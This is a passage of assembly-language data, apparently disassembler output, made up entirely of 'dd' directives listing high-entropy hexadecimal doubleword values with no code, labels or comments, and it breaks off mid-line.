dd 0E5B9B826h, 61BD19F8h, 0A46979B5h, 701D575Dh, 5B4149BCh dd 54DA2F3Bh, 3829A4B2h, 0ADC94926h, 7883EF21h, 23E7335Bh dd 9E10D67Eh, 1FA3449Dh, 7B36EC6Ah, 0AD320AA1h, 0C23A2D2Fh dd 9F93EBFCh, 5829F54Ch, 5CC8037Dh, 78505997h, 87DB2EA5h dd 0AC0DED38h, 59D90BC2h, 9BFDE584h, 0B13A8828h, 7232AC84h dd 4536DD1Bh, 0AF3AC9FEh, 35A01D72h, 23853CB8h, 3ACE2413h dd 7ADB5BCEh, 204C364Ah, 0D4C12C1Bh, 0B84112BFh, 4CF7E25Fh dd 3E2E7FA0h, 9D02E5B5h, 232CBAEh, 0BB20A00Fh, 5E81355Ah dd 71D6317Bh, 40AEF044h, 52B70C4Dh, 2BDA5222h, 786F60Ah dd 0FEA33841h, 44555E4Dh, 95AC5BBDh, 0D7D2293Dh, 63367EB4h dd 419D996h, 0AE27C037h, 0F25ABD69h, 0A1CD8193h, 3BC98568h dd 60582FAFh, 0DFE01C0Fh, 26422C18h, 0A401DF4Dh, 3B0D2894h dd 0C611F253h, 0A4C8C158h, 55EA62C9h, 286198F7h, 5E506658h dd 0A051604Ch, 5A211563h, 41E5C729h, 0A4A2C40Ah, 107BA2A1h dd 0D202204Ah, 0DB09A0ECh, 53C02E15h, 584E2385h, 11FD23B0h dd 0AEC35B89h, 0E385B25h, 0A73885B7h, 76062875h, 1070FB02h dd 24BBE3C4h, 4B84FF57h, 0B8CC7F25h, 0B383633Ah, 6409299Dh dd 62DA73B9h, 511903B5h, 0DCC229A1h, 6BBF5DD0h, 0FAB4973h dd 0DE91F1E3h, 8336D9DEh, 0ADF1A6CAh, 0E101043Bh, 0C47B4DD4h dd 0ECBE26B6h, 9EBB052Fh, 0DD13136Ch, 0A7212B30h, 0F42A854Ah dd 5B0462A7h, 0D7B386Ah, 6ABA7981h, 420DE57h, 8ADD3DB2h dd 586CD874h, 0AE461F3Dh, 0DF43E955h, 0D52D8921h, 0DD2F7753h dd 2908E71h, 20B18Dh, 0C45C273Ch, 0BF684A42h, 1BC8DE20h dd 5F0BF9A4h, 4B12DCB1h, 9B739970h, 0A6BB3051h, 2378136Dh dd 5AF52F9Bh, 0C213DDDh, 0B59A8293h, 4A8A70EDh, 48EA4DE8h dd 0A3201925h, 0AAE92DB6h, 0EF07EE3Ch, 88C6F185h, 64F94A41h dd 4E855FB2h, 0EB1E4B0Bh, 6BB7993Dh, 2602153Fh, 254028F3h dd 1D290DFDh, 0ACF68F4Ah, 6B66DE45h, 0F9BA2E75h, 4C768169h dd 43C22645h, 0AB2EC1DFh, 0A0E71571h, 32E113D7h, 9B7A2773h dd 0D16AAF5Fh, 3D9F53A3h, 1B7D78E1h, 9B111D5Ch, 7EDE93BCh dd 0AA945D5Fh, 822C07BEh, 562250B0h, 9CDF3E99h, 416C993h dd 7A3B48DFh, 39F7DE74h, 6FA0526Bh, 0B1380E42h, 1BBB42B3h dd 0B38447A3h, 74092367h, 0CB8C824Eh, 7F902DE7h, 4E815B3h dd 86AE6A04h, 443979BCh, 0AAA662EDh, 0BB32A9A7h, 0FE7B297Dh dd 0E0C20D64h, 62CC0542h, 0CB7A04A7h, 6FF035FDh, 0AE9D0035h dd 885E7A52h, 19501BB8h, 5EC71F12h, 33D9A40Dh, 27A00152h dd 44E677Bh, 0C70DFFA6h, 0E2419A4h, 0F1BBEDA4h, 8AF50B43h dd 0A0FAFDC7h, 0A1B9A979h, 9F9D58C6h, 0EF56FB9Dh, 6E222EBDh dd 0AA1AA935h, 5CE2FDBFh, 2860B55Ah, 4FEA9F5Dh, 50F30627h dd 0B843D8B5h, 797FAA06h, 0B8D0FA08h, 8235AD64h, 7B11417Ah dd 1A5A62DBh, 0D295E3A4h, 0CE17FB6Bh, 62A1546Bh, 1F391633h dd 22116769h, 0B3826D7Fh, 0B728DDBDh, 23C42620h, 0EE52E76Ch dd 0A8EA4629h, 632D081Eh, 4A1F22C7h, 5D32EA44h, 4160EAB4h dd 0FC9CE3F6h, 0D3DF2D1Ch, 46335E39h, 40DDFD6Ah, 1B052C00h dd 241C04E4h, 0B51CE9ACh, 0ECB0E69Ch, 0A51600DBh, 0A3971A54h dd 5F22301Bh, 1E20CC63h, 63E76EA9h, 7AD7E32Ch, 0CA1E9D45h dd 375A843Dh, 97BB2990h, 65F87ED6h, 6A208C3Eh, 0AEEE0427h dd 0CE26EB11h, 5AF82963h, 0A468F161h, 47DAF6AFh, 8A0A7546h dd 0D823E663h, 95123133h, 5F80CB4Bh, 0FC59C386h, 0F9728971h dd 5752ABDCh, 1D926D35h, 0BB791796h, 0E2BAE93Ch, 0A6FD35CCh dd 6A01AF79h, 72B3FD44h, 0CA21582Ah, 0E5BEAD29h, 88366C23h dd 85CCE1EBh, 0DC1B42CEh, 0A6C26103h, 6E30C53Bh, 1AEBD2A2h dd 46980BACh, 3D042B41h, 0A6E82B53h, 0E4F41B79h, 19E9A0B1h dd 271B4A4Dh, 1BF2ECBBh, 6CBB71BDh, 407EF730h, 0AC5831FFh dd 822FA958h, 76308DF5h, 60135277h, 0E34AB62h, 851A8DF6h dd 0BAF3C4BCh, 0CD4DECB4h, 0AC345375h, 0C9DEAA1Ch, 0C93B28FAh dd 0DC3F95BCh, 0E40A3A3h, 0C75088C2h, 2D3ABF9Ch, 0A5626146h dd 9234A444h, 0F10BA165h, 0A0CF9762h, 8C36A464h, 0DA35BEBBh dd 1A2BAB59h, 776C4AAh, 32FD146Ch, 406153BEh, 86F1449h dd 2443D1A2h, 0A012567Ch, 0B1C7696Bh, 0FBE7E549h, 561D46EEh dd 345CE3B2h, 557AAB4Ah, 0AEC91B8Ch, 0AAC57EA3h, 26B6133Ch dd 0EBBD7692h, 3641DC4Dh, 9CC1EEE1h, 2046CC22h, 3498A4B9h dd 0EC1FB9ADh, 0EAAB8CFBh, 0CE4A1AACh, 2045F0E9h, 97A36F3h dd 5F6CAB3Fh, 2AC6BE3Eh, 7A3C2603h, 0A32C4ACFh, 94C5313Bh dd 54810DBDh, 0B1CE0B38h, 3E9A86B0h, 2511361Eh, 5235C477h dd 86608E4Ch, 0CF45E1AEh, 9350E180h, 0ABBB0DE5h, 16CF726Bh dd 302ADAB0h, 0B3D8B853h, 92E322BCh, 4145D108h, 0DD0D2713h dd 0A1831B10h, 0BE59C9E4h, 27E1D72Fh, 0BAA9A0B8h, 0A3B06AB7h dd 84CFA065h, 1B33A4FCh, 5F5D1CB6h, 0BF0BC4D8h, 0C12DCDA0h dd 0E148E039h, 0A79FD1D2h, 0EEAD5C2Fh, 942E4850h, 0B1F76C30h dd 0B2FB0972h, 1A01ED45h, 3FA49E3h, 0B4E5F6BEh, 0D993A2B5h dd 0A7CE7FFDh, 7A84FF60h, 29B28146h, 9D15DCBCh, 616F228Dh dd 7C958D8Bh, 4FB82D0Dh, 0C93D4DA1h, 86EDFE12h, 751DB7FBh dd 0E626F534h, 1956E1FFh, 6772597Dh, 0EA57C75Eh, 0A34C5D3Eh dd 0DE05F3B1h, 0F023E285h, 0B6BD2BBFh, 0BAE452C1h, 0BDB647ADh dd 7C9C576Dh, 23E419E0h, 0A5C085F7h, 67372DC4h, 2F623A2Dh dd 1AD3FCB8h, 82421D38h, 2CE8225h, 0E9F01A44h, 2310231h dd 717F660Dh, 0BBD917BFh, 4BC04D39h, 5F9C751h, 0BE23717Eh dd 523AFC42h, 0E282B6B5h, 5101DAA4h, 46DE14FDh, 0EF8AFD7Ch dd 15AF5E5h, 0B1632977h, 4F4AED15h, 0D4FDEC75h, 62C02C65h dd 29AEB768h, 5A8429FDh, 20BFAB6Bh, 747138AFh, 0B3213395h dd 0AB203D37h, 5F1C540Eh, 0A9711C5Dh, 24C13D24h, 1C24A721h dd 442E6B3Eh, 208D5C18h, 183AE267h, 6AAC4D20h, 5D34E3E0h dd 0F7D06DE0h, 221ED51h, 7928B5C0h, 9E550E37h, 0F36502B3h dd 5AA7EA1Bh, 6887B4F6h, 0BF109AF9h, 0AD61A5Dh, 4D08D041h dd 2D6E127Eh, 0F9AB18E4h dd 0A00ED507h, 0B07DA296h, 0AB84EA5Dh, 0A5129A6Fh, 695ED289h dd 2B61B06Fh, 6E560BEh, 1F34162Bh, 4601A7FAh, 5D18DE7Ch dd 0AA2297BBh, 0E2DD08A9h, 0D2BABEFDh, 0ACEC0878h, 4556D352h dd 91D2456Ch, 8F894989h, 0B31C7C9Eh, 3E920879h, 0AE34D53Ah dd 6A5D1F21h, 3EFE3912h, 5C04D419h, 1A092AE3h, 8E466BE8h dd 0BB38152Ah, 0BE349378h, 6A2613C1h, 74693498h, 0BB918B3Ch dd 0AC234AB1h, 4252B8E5h, 2A3F29E1h, 1D86D6B3h, 0B295055Bh dd 49D8494Ch, 0A2369D4Fh, 0CFEE0535h, 204C206Fh, 7B2102EDh dd 0DEC21597h, 0CAA51761h, 5E207952h, 5A406222h, 531AD238h dd 9050AD67h, 0C046ECF9h, 2B5580D4h, 9DAB6D15h, 0F679311Bh dd 37A16384h, 0AD46DCD6h, 4E705886h, 0E3C1C759h, 0EAAD754Fh dd 93520E6Fh, 41C714B5h, 822EBAC4h, 62E86C51h, 438869B3h dd 0AC44604Ah, 900EF71h, 1A6B085Bh, 3E0F3209h, 3E313F7Dh dd 79540DC6h, 0DD69E944h, 0B2338267h, 9E32086Eh, 52BE30A3h dd 92F1577Ch, 93ECE978h, 0AC3E6CB5h, 5EC241E4h, 2CDEB96Ch dd 0CF2069ABh, 823FCB23h, 20AB930Dh, 2FDFE7A0h, 71C06E07h dd 0E53E2DE7h, 0A0CB971Dh, 0AEA1F20Fh, 232B3EBEh, 15393148h dd 6E84280Ah, 2BB9D58Bh, 4B68F17Dh, 0FC5D0ABFh, 0B2D880A6h dd 0F17B98B1h, 24036F68h, 5A1AA2D3h, 85C5CB42h, 0FCA20CDh dd 0B2FFB44Bh, 0B275EF75h, 7D924955h, 0ECA92CFEh, 8592104Fh dd 0AA83ED4Eh, 2E7D0451h, 0B72947D1h, 96110CC8h, 6E9CE2F1h dd 23EAC44h, 0A6BAE9CDh, 8B40F7BDh, 0A02A2810h, 712107E7h dd 0B603D390h, 5F9E35C2h, 2F03C7Dh, 0EDEFA5C3h, 0AC37EDB8h dd 54CA9A48h, 24A3EA20h, 68F5083Eh, 7A02CEBBh, 4E438937h dd 0FD248F2Ah, 6168F0ECh, 25966744h, 0B1D9ABC8h, 0AB3B6583h dd 0C82E7BEDh, 0A29500B3h, 0B447644h, 0B9BE2EDDh, 0A40E1A06h dd 0F2D2D4Dh, 0DA31B556h, 5CA62861h, 0A40130A7h, 994715FCh dd 0EDA50475h, 0AB445914h, 42F02618h, 5231334h, 7EEDA122h dd 0A386AD5Dh, 0BDFD4961h, 9E0AAD85h, 27511625h, 5C3B9D44h dd 0C1222EDDh, 0AA35E1AFh, 188B28D1h, 0AFC2C1DCh, 5A850969h dd 0BA9F8C5h, 1CACA756h, 6AA19BFh, 0B020CF1Fh, 823C2EA4h dd 0A3545C93h, 1F0EB0A4h, 62AD0FDh, 252D2EA1h, 2566C18Ah dd 36BE142h, 8AA038FEh, 171D070Ch, 9860AA15h, 0B25452B4h dd 7038EEBDh, 0B000133Ch, 0A64EECC7h, 61DF1D8h, 0B3E533A6h dd 46BE26ECh, 8D3AA6BEh, 3D2D2921h, 7AF22D01h, 0C85F157Fh dd 9EE1295Eh, 9B250009h, 73390974h, 0BB0E6390h, 0C3DB86CCh dd 2B9AD38h, 5C490B52h, 8F774EA2h, 0BB833B49h, 0DF3645E7h dd 0A9EB8020h, 8200C51Bh, 6EE2DE1h, 22433318h, 256E964Dh dd 0A737457Dh, 663941C2h, 0A4FEFD5Eh, 5C3B881h, 6AA01CA2h dd 271D0C28h, 94C0E865h, 61BA0EBEh, 0AB31CB99h, 0B4F51361h dd 2C5D0295h, 73F05FCFh, 616AADEBh, 0BE448644h, 0A241A94Bh dd 0BA015097h, 0AE376BC2h, 8DEFF823h, 0A337EDA4h, 0B40CC848h dd 851BD2BCh, 0BB9F0548h, 88B32DADh, 0A4BFB7DAh, 0AF372548h dd 0D8294BBCh, 5FBFAF1Fh, 0AB05F64Bh, 7EF5870Bh, 62198805h dd 0B5B60C8Bh, 0E8296779h, 4F918F67h, 222E9931h, 0F902BD55h dd 0C92DEC51h, 67315C0Ah, 5EF52B7Ch, 25F76F25h, 978EF1BFh dd 0AAB5E516h, 9A748F0Fh, 7EBBD21Ah, 0A34D2F91h, 83552EA9h dd 8F4F74ABh, 2BADF9B6h, 0D204D014h, 694CB1E8h, 0D24EA539h dd 138FCCAh, 0D3D5F9Dh, 100A3EB8h, 417D3A32h, 0B57AE518h dd 0F889B1ADh, 0C946EDC5h, 0D5165C3Fh, 0BE2E957Bh, 0B90EFAA0h dd 9D3D2124h, 8EF60C3Bh, 0A14AB2BCh, 0A626602Bh, 64762D3Ch dd 0E339E4F4h, 1680EB45h, 6269E2EAh, 9CD8D3FEh, 0F8A76915h dd 1CC16D3Eh, 37B3DC7Fh, 0C13B0C16h, 0A93EA5B1h, 837B3881h dd 0E335546Ah, 0B81C509Fh, 1A3EAA27h, 3EFE8FF5h, 84FE7238h dd 6877B58h, 92E7A83Bh, 437280D6h, 4262F704h, 96CC17CCh dd 0E42FD4B7h, 6C1331E8h, 50CD0895h, 64EC3A30h, 3920518Dh dd 0CC63D59Ah, 28092339h, 0CADEE9DEh, 0EECF916Eh, 62F5A1FEh dd 6202B01Fh, 66A8F38Dh, 345DF82Fh, 0AE670A89h, 0BC69C80Ch dd 1E9F485Eh, 8AC7A27Ch, 0A9CE4A25h, 677C8538h, 0A87EC963h dd 0BFC04A0Ch, 933AB44Dh, 6E917773h, 0DE309009h, 3B11190Eh dd 5A332411h, 0B4F297Ch, 0ABFB40AAh, 8DC01133h, 42601F20h dd 4D7AF007h, 299F9C94h, 0F67EBD3Ch, 0FAD4F298h, 0DBC81141h dd 0D5A622B3h, 92BEFEBBh, 43A7037Dh, 86350174h, 0D7C515A1h dd 4985D65h, 82E92000h, 5ACED41Eh, 0DA179FAFh, 828D224Ah dd 0CCAF72EDh, 81221652h, 43BBADAh, 68D83D52h, 0C632269Ch dd 0C14A8318h, 3C721F5Fh, 0AACE415Fh, 0CBAE92A0h, 0A344A954h dd 20C29547h, 0CCD4B42Bh, 0BFA32EB7h, 57BF5BACh, 8E3381E5h dd 98FC2460h, 98A101B0h, 0B6A6554Fh, 0DE00AFDDh, 0FAAABD44h dd 25AA9C7Dh, 16A90143h, 96088838h, 4052A171h, 6EE6C635h dd 4EF5903Ah, 200A275Ah, 1EC1E93Ah, 0DF06F7C8h, 67A4FF92h dd 4ACDEE94h, 0EA8C5779h, 0E1AA285Eh, 9C792895h, 0CEB53DC9h dd 0CF7BB0CEh, 0D201FECDh, 0C8BB93Ch, 7459845h, 8AC19DC4h dd 24DEDEF1h, 4E2CADBDh, 33448401h, 82E22517h, 424DCE52h dd 898CD3BAh, 6AB43765h, 0F83F48Eh, 6820671Ch, 2DCB90Ah dd 1AE32C30h, 0C7993550h, 4E8AF453h, 64309C5Dh, 94656644h dd 53C3E2A1h, 0FAB6108h, 0B59EF248h, 0DEDE62C7h, 0A45AD01Eh dd 0AA940EF3h, 96BB2751h, 7330118Fh, 9EAEB59Bh, 0E76E6CDCh dd 628FA150h, 6DBB5A1Eh, 36DB5F49h, 6040E55Ch, 60E78D23h dd 6B8EFD7Ch, 67B091F1h, 6A1BCA89h, 0E2D2B129h, 3FD18002h dd 0CCBB43AFh, 23D60899h, 3C0FD1BDh, 4F3B8491h, 5FA21614h dd 2335DF5Eh, 62FD6314h, 0EF6AF5BAh, 0B7F65045h, 2032CDB9h dd 5F725991h, 430383EAh, 0B8DB1542h, 55FD7F9Dh, 20358CC5h dd 95A2F0E9h, 0BACE76B1h, 8B7EDCFEh, 8C324B05h, 0BA597CBBh dd 96171144h, 0EF4C5E11h, 0B68E4534h, 0E06F4E70h, 0C13CD2A4h dd 25237110h, 6B3E93F6h, 47F5320Eh, 3ACD30DAh, 24BF297Ch dd 739A65A9h, 0CB00F9D8h, 3E1F1FF5h, 0EEFE32CDh, 0CC4B2B31h dd 0C4F7C4CAh, 0F50E7A91h, 347FF298h, 2B568047h, 415A7D8Dh dd 2DEA57CFh, 0AAEDE572h, 39EF2D65h, 0A8632309h, 0D92DF890h dd 9F0E9776h, 0D06AF6C8h, 1C1A40E1h, 6E401FCEh, 0D20B53C6h dd 5350E8BCh, 0ACD9DD52h, 0F13CBF3Ch, 48FE13A9h, 8A22C793h dd 52EEB0AAh, 0EA865876h, 46DD2C63h, 0E845E27Ah, 0F152DD14h dd 78697672h, 938668C6h, 4C19EDD1h, 0BA8B1461h, 90E512E9h dd 0CABBEF2Fh, 0F9057BDDh, 8EE691A3h, 0CDE9A44Bh, 175C6EB5h dd 0A0D87EB1h, 0D0430B8Bh, 79338F38h, 330EBDD1h, 239431B3h dd 77FE1AD4h, 0FB76E711h, 23A3B28Dh, 0AD329E6h, 7A98E170h dd 0A7AD4F94h, 50C82552h, 0FAF8ED2Bh, 5F5629D6h, 0D529493Bh dd 312DE5D4h, 391AAB7Dh, 0F41FBFAAh, 0BC57B0DFh, 0F10EB3F8h dd 51E7BC19h, 7451D3F7h, 0E6F2EAA1h, 0E1C32F78h, 206E8D22h dd 39612FFh, 0B62C92F5h, 22327563h, 90D8AD7Ah, 936D59DCh dd 0DA7E7E9Bh, 2E3F5FCDh, 8D8EC3CCh, 0FC26A721h, 79BE097Eh dd 0DDA8725h, 12496E79h, 93083994h, 0E420F6Dh, 43E4BBAh dd 179A1D53h, 0ECB15D64h, 0CD2DD3A9h, 23BBAFA9h, 7BF132EAh dd 562AD6Dh, 9B11E4A1h dd 9160ADD5h, 6CE593D8h, 585A113Eh, 4E8C260Ah, 6C52115Ch dd 0EF7D3B75h, 0EA9042B5h, 0AB570EB4h, 5DBE5C2Ch, 0F36269F5h dd 5FB453E2h, 0AA2527A9h, 0AC4A40BDh, 63B034BDh, 45BE1A64h dd 0AB6A3B11h, 2A234FF4h, 1EF9790Dh, 73DB4878h, 307515C9h dd 0AC5CFD0Ch, 82C9E1D0h, 0ACAB744Ch, 850D3FE9h, 0C8F598D3h dd 85BAC940h, 0F7E225E4h, 0AC253AB9h, 76372DE2h, 5D2B9741h dd 0F51A51B7h, 2B4E8615h, 9426DD62h, 33EDC91Bh, 0B574A294h dd 0B0250D53h, 9E6F7867h, 9EE4A84Dh, 0E0B992C6h, 0A280AA49h dd 0A6B33058h, 0A76BD332h, 27C33DD9h, 683AE553h, 2A00B7D9h dd 48CE5CB6h, 82EF04D5h, 0D329BC03h, 99483EB5h, 9DDC3D39h dd 117A6F07h, 0FE44C69Bh, 0C2C8136Ch, 5BB97F52h, 3A326308h dd 3FA7A91Dh, 3562DD4Eh, 9F209E6Ah, 0C19DCF22h, 0C2E7285Fh dd 35EC1C52h, 6B5A5C7Fh, 3A29A421h, 194159CBh, 278185B6h dd 9D437809h, 4CEB088Ah, 0F6B5E8E9h, 6DF31F15h, 407FAD58h dd 835C51F1h, 0F435BBFh, 4916A8BBh, 0B5852E3Dh, 0E0CC3C9Ah dd 0DBFDA305h, 0EABD29ADh, 7BCF3F49h, 994014A3h, 50A94E2Fh dd 35F0BF58h, 402CDB23h, 3A354AECh, 8EEBF192h, 0D1E557D5h dd 0BAB60A52h, 92F7B43Dh, 477B14DBh, 82BBE7A7h, 5BEC6A94h dd 9A64515Dh, 24051C34h, 2B55833Bh, 0AFEEE5F4h, 0D0BAB65Eh dd 0FEB27FABh, 0A613A93Ah, 9861FDADh, 2524FA42h, 58F099F7h dd 0FE02B21Fh, 82ACE080h, 14958196h, 686F6863h, 0A36BA564h dd 26BCA671h, 0E1D17762h, 244AA295h, 0BC7D5BFh, 0A3631D1Fh dd 8715EC84h, 1D230C18h, 5F2F9BAh, 0CF513A77h, 4E46853h dd 6BB95CA4h, 75219DC3h, 155AC003h, 1ABEE954h, 0EF80096Fh dd 1632423Fh, 0A81BE391h, 0D2E9311Ah, 6EDB8DE2h, 259EC6B9h dd 713DA653h, 0A2D98CDCh, 8BEACB8Dh, 0D20AEFB0h, 1760689Dh dd 0E6064E3h, 0A9322565h, 221B65Eh, 0B02AC486h, 0B93AE238h dd 0AFBDB54Dh, 6577FF48h, 658E77F5h, 6E8AA0B5h, 1E9529DEh dd 0A3441E79h, 2E82CE61h, 0DD7D1269h, 0FC6D3851h, 8F823D59h dd 3CDFBD1Dh, 0D77E7A3h, 6D41A63Eh, 0D82136C9h, 5632D5C6h dd 1B35A637h, 95F1E7E7h, 919D15A1h, 5CD8FCA3h, 8896AE65h dd 84D7C0CFh, 0F5D229ACh, 2E5AD2CFh, 0BBF8F231h, 0DFC91D81h dd 733B994Ch, 451800D0h, 531CB7E1h, 98E10A19h, 0A56330DDh dd 9F50D1Dh, 1D199445h, 0E7339CA7h, 0A618FF5Ch, 64EAED1Bh dd 0ABB9C3DFh, 2F9E12Fh, 1514430Dh, 0DD348AA9h, 0F0E7CFC6h dd 0A769D2D9h, 2B44B349h, 0C046554Fh, 0BD003161h, 0B6DD28BFh dd 6053661Ah, 3B4D334Dh, 0EF270B4Ah, 0B132CA61h, 0E1AD198Fh dd 1CC60A48h, 3801D04Bh, 628EA141h, 43FD1380h, 7E853199h dd 0CE105649h, 0FB8C2D4Bh, 0C15BCDC9h, 96DA0A59h, 48E207F6h dd 0C6CDCB21h, 6489EC73h, 0C2347D51h, 0A897FD73h, 0F7BAFE1h dd 0C1A718C6h, 41306F5Eh, 0B9CAC2A9h, 0B1EB03E0h, 5B027CC7h dd 0B457E854h, 0DCDA79D4h, 0F61C294Ch, 0A546ACB4h, 8D2ACEA3h dd 0C1520719h, 0B276D43Eh, 2C4203B9h, 5C89305Dh, 5752E5AAh dd 29B0F84Ah, 501732B2h, 0E2390E89h, 56D92F79h, 0BB76AFD6h dd 6FDD3037h, 70AFF9B1h, 8E16F8F9h, 0F5FCD505h, 1E03E9A8h dd 7DFFF0DFh, 45EB9361h, 45ED804Bh, 6091FF0Bh, 73E05DD5h dd 0AB0ADDCCh, 70F92D1Dh, 1FB3B42Fh, 0A86117FDh, 1FDA295Eh dd 70DDEA4Bh, 4BE8ECEDh, 9D484B5Ah, 81D0D907h, 75E4173Fh dd 0D6CE363Ch, 0CA3EE95Eh, 1C433138h, 259E1C87h, 6FDEF307h dd 6DD54695h, 5E765B18h, 4B7ABF1Bh, 6143EF4Fh, 642271CEh dd 0A261A8ADh, 997E6A4Fh, 4C1639F5h, 0E38D1FEh, 1ECFF397h dd 824730F3h, 0BA59F729h, 22853F45h, 0F0A4315Ch, 0BF56485Bh dd 45F7B0D4h, 9776DC58h, 0A665B48Dh, 86A65C1Eh, 9588DDABh dd 190EFD8Bh, 0B4FACE74h, 191DE1DFh, 970225C1h, 8AA173EDh dd 569BBB2Ah, 1B64E006h, 84DC491Ah, 0F81EFCFh, 83C33ABEh dd 3E021DD4h, 85022B78h, 0B2DD1685h, 0B501F455h, 9AB859D8h dd 213EFADh, 6A236105h, 49C4A81Fh, 43AB4950h, 55E4C224h dd 53237AD4h, 9A80C072h, 0F9402F40h, 7D3AC95Eh, 13270326h dd 3A67ACAFh, 0BF6897Ch, 0A44F8EF9h, 62CB23D5h, 4D5B8121h dd 0D1034A8Ah, 63A45A75h, 0A5442503h, 74230174h, 701B7530h dd 634E35C2h, 0E3B0557h, 0B720CF3h, 0AA31134Fh, 0AAAD20D2h dd 733B4C3Fh, 4CD1623Bh, 0BAA9A2C9h, 2FAB10Fh, 739F8B15h dd 0B829EB9Eh, 1F247B7Dh, 0BAEE7015h, 0F9B91165h, 0A0CEE155h dd 1D62A425h, 511A1832h, 0CA6E4903h, 0A26BD345h, 0FFFD3540h dd 9E650CE4h, 865D485h, 0A72D459Fh, 6C99AF25h, 9E078041h dd 682E0F4Dh, 4FEF4453h, 0B622162Dh, 45914941h, 0DAB71C46h dd 540DE40Ch, 0C2F16FFFh, 3199928h, 3A68D410h, 49168C24h dd 0A3BBD042h, 0ADFFABAFh, 237A8C65h, 0A8F8C196h, 1E8BD8EEh dd 22017A52h, 7884A331h, 746EEC24h, 30E2B12h, 64D8C951h dd 820CA0h, 20333691h, 0DEB121B3h, 0A8C41ED9h, 43FD0A2h dd 0AE59FA22h, 6D433E41h, 8E4E5D68h, 64423CF6h, 0F2ABEDA2h dd 34FD450Bh, 61AC011Dh, 25E30B3Dh, 0DFE1BC23h, 0F90837B1h dd 11612CECh, 8C26AA4Dh, 0EB026A88h, 0DC52A438h, 9B40FB9Ch dd 0FBC16BCCh, 5C9E45A2h, 4781ABC9h, 0DAAAFCCAh, 1A2923ACh dd 0FD7DE684h, 874CAEA2h, 0B953CD41h, 9B3421A1h, 0FD5E3508h dd 0E77B2381h, 87145065h, 0A0415324h, 4335ECB1h, 8E08D533h dd 9C0A69AFh, 48571353h, 1C5E002Ch, 0B9CC564Fh, 0D202EDA4h dd 6E0FEDE7h, 40B86A99h, 5C006125h, 3263201Bh, 6014A775h dd 0C26436Ah, 63489FDDh, 93B13999h, 0E5604C3Ch, 0F96A6F68h dd 6C001D4Bh, 795C2F93h, 0D29F56Ch, 0F53B0BB3h, 55D2C368h dd 247B459Dh, 48532477h, 5CBC15F2h, 319C507Dh, 0E2F6F7DDh dd 2377238Dh, 0F6804EBFh, 4F748F2Bh, 93BA9046h, 77FDE104h dd 0C7B0A185h, 3E07F275h, 0B0A3E4F2h, 7EC1F969h, 9DBF343Ch dd 0A2FA86DCh, 2444D19Fh, 238B32B5h, 0E9311682h, 77C67B32h dd 5231DBF4h, 0DF26B73Dh, 977C552Bh, 0EB60537h, 1C3F1FF2h dd 68A74E5Dh, 952F8DADh, 5EAA7FCCh, 638A4969h, 553DD035h dd 0DE40DCFAh, 38A25AFDh, 5DDA45A2h, 56DAF174h, 82930A04h dd 0C2154AC3h, 7F2CBB24h, 0E009ACC2h, 9C082811h, 0CE047339h dd 3EEB4365h, 1A58ADD9h, 0D84DFC81h, 0AEA77D56h, 832330B7h dd 4BE59A3Ch, 68883693h, 0EF326E38h, 0D5628C25h, 4864B885h dd 9B190A06h, 0FB87B479h, 29DD0239h, 0C50B524Ah, 5F9B151Fh dd 0B8AD0045h, 0D560F67Bh, 0A6FE5D6Dh, 0A6D990Ah, 0D1354396h dd 0C0BF7AA0h, 0EE5FC345h, 941CADBBh, 7EBB6067h, 0CDF12516h dd 43D449C9h, 8FB52C3Ch, 6336B44Bh, 0C3ADCD7Fh, 2061280Bh dd 6C3BF794h, 79F2C323h, 93128CC1h, 1D8EEA32h, 0CB05725Dh dd 0A9E8C191h, 9EA0C9Eh, 0F2F8C9DFh, 1DD97922h, 0B83A7E21h dd 80C760DDh, 138F5CDAh, 0C198DE3Eh, 0F3DBC92Fh, 0C7364D00h dd 8228B826h, 6DE31367h, 8FF0C50Fh, 0D878D54Ah, 0FF2E425h dd 1F0AAB65h, 0DB81E9E2h, 7FBB5D3Ah, 805104h, 4891F5B6h dd 225EEC64h, 0CEE4B885h, 0EF2DB24Eh, 8389147Ah, 0C5C0593Ah dd 65C24A7h, 1B0F4BB0h, 0A3B8107Ch, 0B7ED3710h, 865989C1h dd 84288D4Dh, 0A430A9A4h, 4B488A4Eh, 8A8F365Ch, 4D9ACBACh dd 3D25FFCh, 5C41496Dh dd 0E24EEC21h, 0A943118Ah, 0CB8C5B39h, 0DDE286F7h, 2533DD7Dh dd 35F491DAh, 1AB63024h, 99A8725Bh, 0BB77421h, 0A02F11E8h dd 2DCDBEDBh, 0F053BB77h, 45EDB325h, 7AAC297Fh, 0B13FDE4Ah dd 69AC6C9Dh, 9D86A46Bh, 18B81C2Fh, 9E6A34D0h, 1C812D4Fh dd 2A99F357h, 1C220020h, 0D65EEC07h, 23E8F107h, 685B2301h dd 0AD2A3480h, 7638A8C8h, 7B3C0D25h, 0B97EC4CFh, 2336FB19h dd 9F5B341Ah, 618ADE52h, 0B9E129ADh, 7FB0588Fh, 9C3E88BDh dd 8C9F4906h, 0A515F9D0h, 91564FC7h, 5D0A1AACh, 8590D2D4h dd 0AF762E31h, 25D10466h, 0C73A0A95h, 20D1EB20h, 42AB28BBh dd 7C463B2Dh, 0E9BC21C6h, 9BE5AF9Dh, 0F92E905Fh, 0B3CB3997h dd 0B8B2A59Ah, 0B60FDF09h, 0B50DC95h, 7232D6A1h, 1A82E8A0h dd 0E44262Dh, 829087Dh, 2122E502h, 61BA364Ah, 0A2F977C6h dd 0F578F6F8h, 0E466B337h, 0C43CE1A7h, 75C3F36Ch, 4582F96Dh dd 5AAE6AC9h, 27008D54h, 7A82220Fh, 0B33EDE75h, 3453789Dh dd 9576F47Eh, 0E13D2F41h, 8A2CB656h, 12274A0Bh, 99BE0E81h dd 0E13EDFA8h, 8EF2BC7Ah, 567313A1h, 2435A1E3h, 5409267Dh dd 702A94FBh, 0AD3BE72Bh, 43435B6Ah, 3244F510h, 0C528F341h dd 7ACB5188h, 0B1CE0F7Eh, 0BE31FD6Dh, 85EAD2B5h, 0DB5D4A6Bh dd 70BB491Eh, 0AAC9AEBDh, 0B12D4071h, 9E9AB3F3h, 56490655h dd 0B2F2D2FEh, 0B0E24942h, 533F4A10h, 0D390D27h, 0BA69CFF4h dd 6D98ADE9h, 9EBEA175h, 0EB7FFE7h, 3EC62447h, 24FD3FA4h dd 947BA2BDh, 9EC6E1BCh, 455954A7h, 94EF92A1h, 3A3A705Ch dd 68698BCh, 0AA296742h, 8B372AEBh, 0BB5F139Dh, 4A63B29h dd 0ACDE5163h, 4A524D9Dh, 6E69CDE4h, 0A6F2E89Bh, 0A2CD9BB4h dd 5CB1EC55h, 5EB2B60h, 743AEE58h, 